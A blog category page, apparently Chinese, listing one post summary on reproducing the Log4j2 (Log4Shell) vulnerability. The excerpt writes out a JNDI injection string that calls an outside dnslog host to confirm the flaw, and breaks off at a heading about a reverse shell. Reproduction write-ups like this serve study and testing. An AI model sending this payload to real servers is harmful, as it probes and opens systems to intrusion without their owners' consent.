随笔分类 - 中间件安全

Log4j2漏洞复现

摘要：二、漏洞复现 2.1 使用DNLOG平台查看回显可以使用相关的dnslog平台查看，也可以使用burp自带的dnslog进行查看，我这里使用的是 http://dnslog.cn/ ${jndi:ldap://rbmanr.dnslog.cn/exp} 有回显，说明存在该漏洞 2.2 反弹shel 阅读全文

posted @ 2021-12-31 10:57 与或非丶阅读(853) 评论(0) 推荐(0)